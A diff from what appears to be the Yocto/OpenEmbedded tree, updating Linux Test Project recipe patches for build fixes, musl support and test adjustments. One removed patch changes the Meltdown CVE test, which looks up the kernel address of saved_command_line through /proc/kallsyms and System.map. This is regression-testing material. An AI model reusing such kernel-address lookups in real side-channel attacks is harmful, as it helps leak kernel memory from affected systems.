--- a/meta/recipes-extended/ltp/ltp/0001-Add-configure-time-check-for-getdents-getdents64-API.patch
+++ /dev/null
@@ -1,72 +0,0 @@
-From 404dfeb4faef213b0450f173b60cd7080edec349 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 26 Jul 2019 10:32:29 -0700
-Subject: [PATCH 1/2] Add configure time check for getdents/getdents64 APIs
-
-glibc 2.30 has added wrapper for getdents64 this will help in detecting
-right condition to use fallback
-
-Check for getdents API as well while here
-
-Upstream-Status: Submitted [http://lists.linux.it/pipermail/ltp/2019-July/012954.html]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 ++
- testcases/kernel/syscalls/getdents/getdents.h | 8 ++++++--
- 2 files changed, 8 insertions(+), 2 deletions(-)
-
---- a/configure.ac
-+++ b/configure.ac
-@@ -65,6 +65,8 @@ AC_CHECK_FUNCS([ \
- fallocate \
- fchownat \
- fstatat \
-+ getdents \
-+ getdents64 \
- kcmp \
- mkdirat \
- mknodat \
---- a/testcases/kernel/syscalls/getdents/getdents.h
-+++ b/testcases/kernel/syscalls/getdents/getdents.h
-@@ -23,7 +23,7 @@
- #include <stdint.h>
- #include "test.h"
- #include "lapi/syscalls.h"
--
-+#include "config.h"
- /*
- * See fs/compat.c struct compat_linux_dirent
- */
-@@ -34,12 +34,17 @@ struct linux_dirent {
- char d_name[];
- };
-
-+#if HAVE_GETDENTS
-+#include <unistd.h>
-+#else
- static inline int
- getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int size)
- {
- return ltp_syscall(__NR_getdents, fd, dirp, size);
- }
-
-+#endif /* HAVE_GETDENTS */
-+
- struct linux_dirent64 {
- uint64_t d_ino;
- int64_t d_off;
-@@ -48,10 +53,13 @@ struct linux_dirent64 {
- char d_name[];
- };
-
-+#if HAVE_GETDENTS64
-+#include <unistd.h>
-+#else
- static inline int
- getdents64(unsigned int fd, struct linux_dirent64 *dirp64, unsigned int size)
- {
- return ltp_syscall(__NR_getdents64, fd, dirp64, size);
- }
--
-+#endif /* HAVE_GETDENTS64 */
- #endif /* GETDENTS_H */
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
new file mode 100644
index 0000000000..6d945700be
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -0,0 +1,35 @@
+From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
+From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
+Date: Wed, 29 Jul 2020 08:47:09 -0400
+Subject: [PATCH] Remove OOM tests from runtest/mm
+
+Disable OOM tests, as they might cause oeqa ssh connection lost
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
+[ pvorel: rebased for 20210927 ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+---
+ runtest/mm | 6 ------
+ 1 file changed, 6 deletions(-)
+
+diff --git a/runtest/mm b/runtest/mm
+index 6537666a9..e5a091a5a 100644
+--- a/runtest/mm
++++ b/runtest/mm
+@@ -73,12 +73,6 @@ ksm06_2 ksm06 -n 8000
+
+ cpuset01 cpuset01
+
+-oom01 oom01
+-oom02 oom02
+-oom03 oom03
+-oom04 oom04
+-oom05 oom05
+-
+ swapping01 swapping01 -i 5
+
+ thp01 thp01 -I 120
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index b5c25c56a5..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,149 +0,0 @@
-From ec282980e6eee96f5b74aba464141f86049263e6 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:19:03 +0000
-Subject: [PATCH] build: Add option to select libc implementation
-
-There are more than glibc for C library implementation available on
-linux now a days, uclibc cloaked like glibc but musl e.g. is very
-different and does not implement all GNU extentions
-
-Disable tests specifically not building _yet_ on musl based systems
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 5 +++++
- testcases/kernel/Makefile | 5 ++++-
- testcases/kernel/sched/Makefile | 4 +++-
- testcases/kernel/syscalls/Makefile | 5 +++++
- testcases/network/nfsv4/acl/Makefile | 4 ++++
- testcases/network/rpc/basic_tests/Makefile | 5 +++++
- testcases/realtime/func/pi-tests/Makefile | 4 ++++
- testcases/realtime/stress/pi-tests/Makefile | 5 +++++
- 8 files changed, 35 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 768ca46..e9d679a 100644
---- a/Makefile
-+++ b/Makefile
-@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include
- UCLINUX ?= 0
- export UCLINUX
-
-+# System C library implementation (glibc,uclibc,musl etc.)
-+# default to glibc if not set
-+LIBC ?= glibc
-+export LIBC
-+
- # CLEAN_TARGETS: Targets which exist solely in clean.
- # COMMON_TARGETS: Targets which exist in all, clean, and install.
- # INSTALL_TARGETS: Targets which exist in clean and install (contains
-diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
-index 39d79c7..24a57d9 100644
---- a/testcases/kernel/Makefile
-+++ b/testcases/kernel/Makefile
-@@ -49,12 +49,15 @@ SUBDIRS += connectors \
- logging \
- mem \
- numa \
-- pty \
- sched \
- security \
- timers \
- tracing \
-
-+ifneq ($(LIBC),musl)
-+SUBDIRS += pty
-+endif
-+
- ifeq ($(WITH_POWER_MANAGEMENT_TESTSUITE),yes)
- SUBDIRS += power_management
- endif
-diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
-index 6a57d79..74bb933 100644
---- a/testcases/kernel/sched/Makefile
-+++ b/testcases/kernel/sched/Makefile
-@@ -23,5 +23,7 @@
- top_srcdir ?= ../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
--
-+ifeq ($(LIBC),musl)
-+ FILTER_OUT_DIRS += process_stress
-+endif
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index 45a00cf..d1becd0 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -28,6 +28,11 @@ ifeq ($(UCLINUX),1)
- FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
- mincore mprotect nftw profil remap_file_pages sbrk
- endif
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += confstr fmtmsg getcontext ioctl mallopt profil \
-+ rt_sigsuspend setdomainname sethostname sigsuspend \
-+ ustat
-+endif
-
- ifeq ($(UCLIBC),1)
- FILTER_OUT_DIRS += profil
-diff --git a/testcases/network/nfsv4/acl/Makefile b/testcases/network/nfsv4/acl/Makefile
-index 8c55a6b..f7cda62 100644
---- a/testcases/network/nfsv4/acl/Makefile
-+++ b/testcases/network/nfsv4/acl/Makefile
-@@ -26,4 +26,8 @@ include $(top_srcdir)/include/mk/env_pre.mk
-
- LDLIBS += $(ACL_LIBS)
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := acl1
-+endif
-+
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
-diff --git a/testcases/network/rpc/basic_tests/Makefile b/testcases/network/rpc/basic_tests/Makefile
-index 66e9d56..ea8eb8a 100644
---- a/testcases/network/rpc/basic_tests/Makefile
-+++ b/testcases/network/rpc/basic_tests/Makefile
-@@ -23,4 +23,9 @@
- top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
-+
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += rpc01
-+endif
-+
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/realtime/func/pi-tests/Makefile b/testcases/realtime/func/pi-tests/Makefile
-index 68616a7..748754b 100644
---- a/testcases/realtime/func/pi-tests/Makefile
-+++ b/testcases/realtime/func/pi-tests/Makefile
-@@ -27,5 +27,9 @@ include $(top_srcdir)/include/mk/env_pre.mk
- include $(abs_srcdir)/../../config.mk
-
- MAKE_TARGETS := testpi-0 testpi-1 testpi-2 testpi-4 testpi-5 testpi-6 testpi-7 sbrk_mutex
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := testpi-5 testpi-6 sbrk_mutex
-+endif
-+
-
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
-diff --git a/testcases/realtime/stress/pi-tests/Makefile b/testcases/realtime/stress/pi-tests/Makefile
-index 1881f75..266e0b8 100644
---- a/testcases/realtime/stress/pi-tests/Makefile
-+++ b/testcases/realtime/stress/pi-tests/Makefile
-@@ -24,4 +24,9 @@ top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
- include $(abs_srcdir)/../../config.mk
-+
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := testpi-3
-+endif
-+
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-cve-2017-17052-Avoid-unsafe-exits-in-threads.patch b/meta/recipes-extended/ltp/ltp/0001-cve-2017-17052-Avoid-unsafe-exits-in-threads.patch
deleted file mode 100644
index cc40081300..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-cve-2017-17052-Avoid-unsafe-exits-in-threads.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From e3a8502d0a4f8a44ddd02ca4b2efc097133fb9f7 Mon Sep 17 00:00:00 2001
-From: Mathias Fiedler <mathias.fiedler@aox-tech.de>
-Date: Fri, 23 Aug 2019 12:46:48 +0200
-Subject: [PATCH] cve-2017-17052: Avoid unsafe exits in threads
-
-According to manpage exit(3) calling exit is not thread-safe.
-And with glibc 2.28 (and probably also with glibc >=2.27) sometimes
-child processes created in fork_thread can get stuck on process exit in
-glibc's __run_exit_handlers trying to acquire some lock which was in
-locked state while the fork was created. This can happen when exit is
-called in mmap_thread concurrently to the fork.
-While the main process will still return with PASSED some of its
-children are left behind.
-
-Comparing the source code with the original program as described in the
-commit 2b7e8665b4ff51c034c55df3cff76518d1a9ee3a of linux kernel >=4.13
-the exits in mmap_thread and fork_thread should not be necessary to
-trigger the original bug.
-
-Therefore those exit calls are removed. The mmap_thread and fork_thread
-should still exit when their corresponding main thread in do_test_fork
-calls exit_group. The remaining exit in do_test_fork will be called in
-the main thread without any concurrent thread in the same process.
-
-Signed-off-by: Mathias Fiedler <mathias.fiedler@aox-tech.de>
-Acked-by: Cyril Hrubis <chrubis@suse.cz>
-Acked-by: Jan Stancek <jstancek@redhat.com>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/9f0b452c1af4bcb54da35711eb3fa77334a350b4]
-
-CVE: CVE-2017-17052
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- testcases/cve/cve-2017-17052.c | 5 -----
- 1 file changed, 5 deletions(-)
-
-diff --git a/testcases/cve/cve-2017-17052.c b/testcases/cve/cve-2017-17052.c
-index d7da7e919..18cd2a6d7 100644
---- a/testcases/cve/cve-2017-17052.c
-+++ b/testcases/cve/cve-2017-17052.c
-@@ -58,8 +58,6 @@ static void *mmap_thread(void *arg)
- for (;;) {
- SAFE_MMAP(NULL, 0x1000000, PROT_READ,
- MAP_POPULATE|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
-- if (*do_exit)
-- exit(0);
- }
-
- return arg;
-@@ -67,9 +65,6 @@ static void *mmap_thread(void *arg)
-
- static void *fork_thread(void *arg)
- {
-- if (*do_exit)
-- exit(0);
--
- usleep(rand() % 10000);
- SAFE_FORK();
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-cve-meltdown.c-Fix-kernel-symbol-finding.patch b/meta/recipes-extended/ltp/ltp/0001-cve-meltdown.c-Fix-kernel-symbol-finding.patch
deleted file mode 100644
index 94f6f5a15a..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-cve-meltdown.c-Fix-kernel-symbol-finding.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From fbeda82f440a0098be42dd668cbc47212a86ab48 Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Wed, 21 Aug 2019 16:27:24 +0800
-Subject: [PATCH] cve/meltdown.c: Fix kernel symbol finding
-
-meltdown case fails as below.
-safe_file_ops.c:219: BROK: Expected 3 conversions got 2 at meltdown.c:272
-
-find_kernel_symbol is defined to try twice with each of /proc/kallsyms and
-/boot/System.map-%s. Currently if the symbol is not found in /proc/kallsyms,
-when kernel option CONFIG_KALLSYMS_ALL is disabled, it would stop the case
-immediately due to SAFE_FILE_LINES_SCANF.
-
-This patch turns to use FILE_LINES_SCANF to give find_kernel_symbol second
-chance.
-
-[jstancek] Fix also condition introduced in 7709d2ae92ea, even if
- /proc/kallsyms is disabled, we still want to try System.map.
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/c2049b5c874bc071f8185bffb5fd7dcb042d9ec8]
-
-Remove the hunk for upstream 7709d2ae92ea ("cve/meltdown.c: abort the test if kallsyms was not enabled")
-that has been covered by this patch.
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- testcases/cve/meltdown.c | 13 ++++++++++---
- 1 file changed, 10 insertions(+), 3 deletions(-)
-
-diff --git a/testcases/cve/meltdown.c b/testcases/cve/meltdown.c
-index a53ea9b..22651a6 100644
---- a/testcases/cve/meltdown.c
-+++ b/testcases/cve/meltdown.c
-@@ -267,9 +267,15 @@ find_symbol_in_file(const char *filename, const char *symname)
- int ret, read;
- char fmt[strlen(symname) + 64];
-
-+ tst_res(TINFO, "Looking for %s in %s", symname, filename);
-+ if (access(filename, F_OK) == -1) {
-+ tst_res(TINFO, "%s not available", filename);
-+ return 0;
-+ }
-+
- sprintf(fmt, "%%lx %%c %s%%c", symname);
-
-- ret = SAFE_FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
-+ ret = FILE_LINES_SCANF(filename, fmt, &addr, &type, &read);
- if (ret)
- return 0;
-
-@@ -287,13 +293,11 @@ find_kernel_symbol(const char *name)
- if (addr)
- return addr;
-
-- tst_res(TINFO, "not found '%s' in /proc/kallsyms", name);
- if (uname(&utsname) < 0)
- tst_brk(TBROK | TERRNO, "uname");
-
- sprintf(systemmap, "/boot/System.map-%s", utsname.release);
-
-- tst_res(TINFO, "looking in '%s'\n", systemmap);
- addr = find_symbol_in_file(systemmap, name);
- return addr;
- }
-@@ -308,6 +312,9 @@ static void setup(void)
- saved_cmdline_addr = find_kernel_symbol("saved_command_line");
- tst_res(TINFO, "&saved_command_line == 0x%lx", saved_cmdline_addr);
-
-+ if (!saved_cmdline_addr)
-+ tst_brk(TCONF, "saved_command_line not found");
-+
- spec_fd = SAFE_OPEN("/proc/cmdline", O_RDONLY);
-
- memset(target_array, 1, sizeof(target_array));
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch b/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch
new file mode 100644
index 0000000000..e8d9f212a9
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-metadata-parse.sh-sort-filelist-for-reproducibility.patch
@@ -0,0 +1,28 @@
+From 4aad23f208cc7725cd61bbe5aaadb9994c794cd0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 26 Jan 2022 20:58:46 +0100
+Subject: [PATCH] metadata/parse.sh: sort filelist for reproducibility
+
+find does not guarantee the order of the files.
+
+Upstream-Status: Submitted [https://github.com/linux-test-project/ltp/pull/907]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ metadata/parse.sh | 2 +-
+
+diff --git a/metadata/parse.sh b/metadata/parse.sh
+index b43d024c68..1811665bfe 100755
+--- a/metadata/parse.sh
++++ b/metadata/parse.sh
+@@ -29,7 +29,7 @@ echo ' "tests": {'
+
+ first=1
+
+-for test in `find testcases/ -name '*.c'`; do
++for test in `find testcases/ -name '*.c'|sort`; do
+ a=$($top_builddir/metadata/metaparse -Iinclude -Itestcases/kernel/syscalls/utils/ "$test")
+ if [ -n "$a" ]; then
+ if [ -z "$first" ]; then
+--
+2.20.1
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-overcommit_memory-update-for-mm-fix-false-positive-O.patch b/meta/recipes-extended/ltp/ltp/0001-overcommit_memory-update-for-mm-fix-false-positive-O.patch
deleted file mode 100644
index bed84712a1..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-overcommit_memory-update-for-mm-fix-false-positive-O.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From d656a447893dccc310c975a239f482278550c3e0 Mon Sep 17 00:00:00 2001
-From: Jan Stancek <jstancek@redhat.com>
-Date: Tue, 21 May 2019 10:10:44 +0200
-Subject: [PATCH] overcommit_memory: update for "mm: fix false-positive
- OVERCOMMIT_GUESS failures"
-
-commit 8c7829b04c52 ("mm: fix false-positive OVERCOMMIT_GUESS failures")
-changes logic of __vm_enough_memory(), simplifying it to:
- When in GUESS mode, catch wild allocations by comparing their request
- size to total amount of ram and swap in the system.
-
-Testcase currently allocates mem_total + swap_total, which doesn't trigger
-new condition. Make it more extreme, but assuming free_total / 2 will PASS,
-and 2*sum_total will FAIL.
-
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-Acked-by: Cyril Hrubis <chrubis@suse.cz>
-
-Upstream-Status: Backport [https://github.com/linux-test-project/ltp/commit/d656a447893dccc310c975a239f482278550c3e0]
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- testcases/kernel/mem/tunable/overcommit_memory.c | 11 ++++-------
- 1 file changed, 4 insertions(+), 7 deletions(-)
-
-diff --git a/testcases/kernel/mem/tunable/overcommit_memory.c b/testcases/kernel/mem/tunable/overcommit_memory.c
-index 555298f..345764d 100644
---- a/testcases/kernel/mem/tunable/overcommit_memory.c
-+++ b/testcases/kernel/mem/tunable/overcommit_memory.c
-@@ -36,11 +36,10 @@
- *
- * The program is designed to test the two tunables:
- *
-- * When overcommit_memory = 0, allocatable memory can't overextends
-- * the amount of free memory. I choose the three cases:
-+ * When overcommit_memory = 0, allocatable memory can't overextend
-+ * the amount of total memory:
- * a. less than free_total: free_total / 2, alloc should pass.
-- * b. greater than free_total: free_total * 2, alloc should fail.
-- * c. equal to sum_total: sum_tatal, alloc should fail
-+ * b. greater than sum_total: sum_total * 2, alloc should fail.
- *
- * When overcommit_memory = 1, it can alloc enough much memory, I
- * choose the three cases:
-@@ -164,9 +163,7 @@ static void overcommit_memory_test(void)
-
- update_mem();
- alloc_and_check(free_total / 2, EXPECT_PASS);
-- update_mem();
-- alloc_and_check(free_total * 2, EXPECT_FAIL);
-- alloc_and_check(sum_total, EXPECT_FAIL);
-+ alloc_and_check(sum_total * 2, EXPECT_FAIL);
-
- /* start to test overcommit_memory=1 */
- set_sys_tune("overcommit_memory", 1, 1);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-syscall-rt_sigtimedwait01-Fix-wrong-sigset-length-fo.patch b/meta/recipes-extended/ltp/ltp/0001-syscall-rt_sigtimedwait01-Fix-wrong-sigset-length-fo.patch
deleted file mode 100644
index 0e56c08255..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-syscall-rt_sigtimedwait01-Fix-wrong-sigset-length-fo.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From a5046625eaeed2d3fba456c3ba84c6c141c2ad7c Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Thu, 29 Aug 2019 21:09:46 +0800
-Subject: [PATCH] syscall/rt_sigtimedwait01: Fix wrong sigset length for MIPS
-
-rt_sigtimedwait01 fails as follow on MIPS arches
-rt_sigtimedwait01 1 TFAIL : .../sigwaitinfo01.c:58: test_empty_set
-(.../sigwaitinfo01.c: 148): Unexpected failure:
-TEST_ERRNO=EINVAL(22): Invalid argument
-
-As this case purposely bypasses glibc, it should align with the size of kernel
-definition of sigset_t which is different from other arches.
-https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/signal.h#n15
-
-This patch turns to use _NSIG which is always right for all arches.
-
-Upstream-Status: Backport [a5046625eaeed2d3fba456c3ba84c6c141c2ad7c]
-
-Suggested-by: Jan Stancek <jstancek@redhat.com>
-Acked-by: Jan Stancek <jstancek@redhat.com>
-Acked-by: Cyril Hrubis <chrubis@suse.cz>
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-Signed-off-by: Petr Vorel <pvorel@suse.cz>
----
- testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c | 5 ++---
- 1 file changed, 2 insertions(+), 3 deletions(-)
-
-diff --git a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-index 5a32ce1..6a30c27 100644
---- a/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-+++ b/testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c
-@@ -128,9 +128,8 @@ static int my_sigtimedwait(const sigset_t * set, siginfo_t * info,
- static int my_rt_sigtimedwait(const sigset_t * set, siginfo_t * info,
- struct timespec *timeout)
- {
--
-- /* The last argument is (number_of_signals)/(bits_per_byte), which are 64 and 8, resp. */
-- return ltp_syscall(__NR_rt_sigtimedwait, set, info, timeout, 8);
-+ /* _NSIG is always the right number of bits of signal map for all arches */
-+ return ltp_syscall(__NR_rt_sigtimedwait, set, info, timeout, _NSIG/8);
- }
- #endif
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-syscalls-tgkill03-wait-for-defunct-tid-to-get-detach.patch b/meta/recipes-extended/ltp/ltp/0001-syscalls-tgkill03-wait-for-defunct-tid-to-get-detach.patch
deleted file mode 100644
index 6ea26150fb..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-syscalls-tgkill03-wait-for-defunct-tid-to-get-detach.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From e747d0456adc080a1d31fb653bda9dc491795c80 Mon Sep 17 00:00:00 2001
-From: Jan Stancek <jstancek@redhat.com>
-Date: Sun, 16 Jun 2019 11:14:16 +0200
-Subject: [PATCH] syscalls/tgkill03: wait for defunct tid to get detached
-
-Case where defunct tid is used has been observed to sporadically fail:
- tgkill03.c:96: FAIL: Defunct tid should have failed with ESRCH: SUCCESS
-
-glibc __pthread_timedjoin_ex() waits for CLONE_CHILD_CLEARTID to clear tid,
-and then resumes. Kernel clears it (glibc pd->tid) at:
- do_exit
- exit_mm
- mm_release
- put_user(0, tsk->clear_child_tid);
-
-but kernel tid is still valid, presumably until:
- release_task
- __exit_signal
- __unhash_process
- detach_pid
-
-To avoid race wait until /proc/<pid>/task/<tid> disappears.
-
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-Reviewed-by: Li Wang <liwang@redhat.com>
-Acked-by: Sumit Garg <sumit.garg@linaro.org>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/e747d0456adc080a1d31fb653bda9dc491795c80]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- testcases/kernel/syscalls/tgkill/tgkill03.c | 6 +++++-
- 1 file changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/tgkill/tgkill03.c b/testcases/kernel/syscalls/tgkill/tgkill03.c
-index f5bbdc5..593a217 100644
---- a/testcases/kernel/syscalls/tgkill/tgkill03.c
-+++ b/testcases/kernel/syscalls/tgkill/tgkill03.c
-@@ -7,6 +7,7 @@
-
- #include <pthread.h>
- #include <pwd.h>
-+#include <stdio.h>
- #include <sys/types.h>
-
- #include "tst_safe_pthread.h"
-@@ -42,6 +43,7 @@ static void setup(void)
- {
- sigset_t sigusr1;
- pthread_t defunct_thread;
-+ char defunct_tid_path[PATH_MAX];
-
- sigemptyset(&sigusr1);
- sigaddset(&sigusr1, SIGUSR1);
-@@ -55,8 +57,9 @@ static void setup(void)
- TST_CHECKPOINT_WAIT(0);
-
- SAFE_PTHREAD_CREATE(&defunct_thread, NULL, defunct_thread_func, NULL);
--
- SAFE_PTHREAD_JOIN(defunct_thread, NULL);
-+ sprintf(defunct_tid_path, "/proc/%d/task/%d", getpid(), defunct_tid);
-+ TST_RETRY_FN_EXP_BACKOFF(access(defunct_tid_path, R_OK), -1, 15);
- }
-
- static void cleanup(void)
-@@ -108,4 +111,5 @@ static struct tst_test test = {
- .setup = setup,
- .cleanup = cleanup,
- .test = run,
-+ .timeout = 20,
- };
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-testcases-use-python3-everywhere-to-run-python-scrip.patch b/meta/recipes-extended/ltp/ltp/0001-testcases-use-python3-everywhere-to-run-python-scrip.patch
deleted file mode 100644
index f4f87f38ab..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-testcases-use-python3-everywhere-to-run-python-scrip.patch
+++ /dev/null
@@ -1,161 +0,0 @@
-From 0463d793566772a606255957915f99d166d5740c Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 28 Aug 2019 18:30:23 +0200
-Subject: [PATCH] testcases: use python3 everywhere to run python scripts
-
-The scripts themselves have #!/usr/bin/python3 in them,
-so I trust they are already py3-compatible.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- testcases/kernel/power_management/runpwtests05.sh | 2 +-
- .../power_management/runpwtests_exclusive01.sh | 2 +-
- .../power_management/runpwtests_exclusive02.sh | 2 +-
- .../power_management/runpwtests_exclusive03.sh | 2 +-
- .../power_management/runpwtests_exclusive04.sh | 2 +-
- .../power_management/runpwtests_exclusive05.sh | 2 +-
- testcases/network/nfsv4/acl/runtest | 14 +++++++-------
- testcases/realtime/func/pi-tests/run_auto.sh | 6 +++---
- 8 files changed, 16 insertions(+), 16 deletions(-)
-
-diff --git a/testcases/kernel/power_management/runpwtests05.sh b/testcases/kernel/power_management/runpwtests05.sh
-index 8a7d0f6e0..43e234d01 100755
---- a/testcases/kernel/power_management/runpwtests05.sh
-+++ b/testcases/kernel/power_management/runpwtests05.sh
-@@ -35,7 +35,7 @@ else
- max_sched_smt=1
- fi
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- if ! grep sched_debug -qw /proc/cmdline ; then
- tst_brkm TCONF "Kernel cmdline parameter 'sched_debug' needed," \
-diff --git a/testcases/kernel/power_management/runpwtests_exclusive01.sh b/testcases/kernel/power_management/runpwtests_exclusive01.sh
-index ec78319e2..9fefcbf6e 100755
---- a/testcases/kernel/power_management/runpwtests_exclusive01.sh
-+++ b/testcases/kernel/power_management/runpwtests_exclusive01.sh
-@@ -35,7 +35,7 @@ else
- max_sched_smt=1
- fi
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- hyper_threaded=$(is_hyper_threaded)
- multi_socket=$(is_multi_socket)
-diff --git a/testcases/kernel/power_management/runpwtests_exclusive02.sh b/testcases/kernel/power_management/runpwtests_exclusive02.sh
-index e107fce35..2cd0ecb05 100755
---- a/testcases/kernel/power_management/runpwtests_exclusive02.sh
-+++ b/testcases/kernel/power_management/runpwtests_exclusive02.sh
-@@ -33,7 +33,7 @@ else
- max_sched_smt=1
- fi
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- hyper_threaded=$(is_hyper_threaded)
- multi_socket=$(is_multi_socket)
-diff --git a/testcases/kernel/power_management/runpwtests_exclusive03.sh b/testcases/kernel/power_management/runpwtests_exclusive03.sh
-index 490344bb3..ab3a5d11d 100755
---- a/testcases/kernel/power_management/runpwtests_exclusive03.sh
-+++ b/testcases/kernel/power_management/runpwtests_exclusive03.sh
-@@ -35,7 +35,7 @@ else
- max_sched_smt=1
- fi
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- hyper_threaded=$(is_hyper_threaded)
- multi_socket=$(is_multi_socket)
-diff --git a/testcases/kernel/power_management/runpwtests_exclusive04.sh b/testcases/kernel/power_management/runpwtests_exclusive04.sh
-index 978ca02ae..438ef603f 100755
---- a/testcases/kernel/power_management/runpwtests_exclusive04.sh
-+++ b/testcases/kernel/power_management/runpwtests_exclusive04.sh
-@@ -27,7 +27,7 @@ export TST_TOTAL=2
- # Checking test environment
- check_kervel_arch
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- hyper_threaded=$(is_hyper_threaded)
- multi_socket=$(is_multi_socket)
-diff --git a/testcases/kernel/power_management/runpwtests_exclusive05.sh b/testcases/kernel/power_management/runpwtests_exclusive05.sh
-index a0dad5834..3a9afdbf2 100755
---- a/testcases/kernel/power_management/runpwtests_exclusive05.sh
-+++ b/testcases/kernel/power_management/runpwtests_exclusive05.sh
-@@ -35,7 +35,7 @@ else
- max_sched_smt=1
- fi
-
--tst_test_cmds python
-+tst_test_cmds python3
-
- hyper_threaded=$(is_hyper_threaded)
- multi_socket=$(is_multi_socket)
-diff --git a/testcases/network/nfsv4/acl/runtest b/testcases/network/nfsv4/acl/runtest
-index d2e1b4c49..a859e85bc 100755
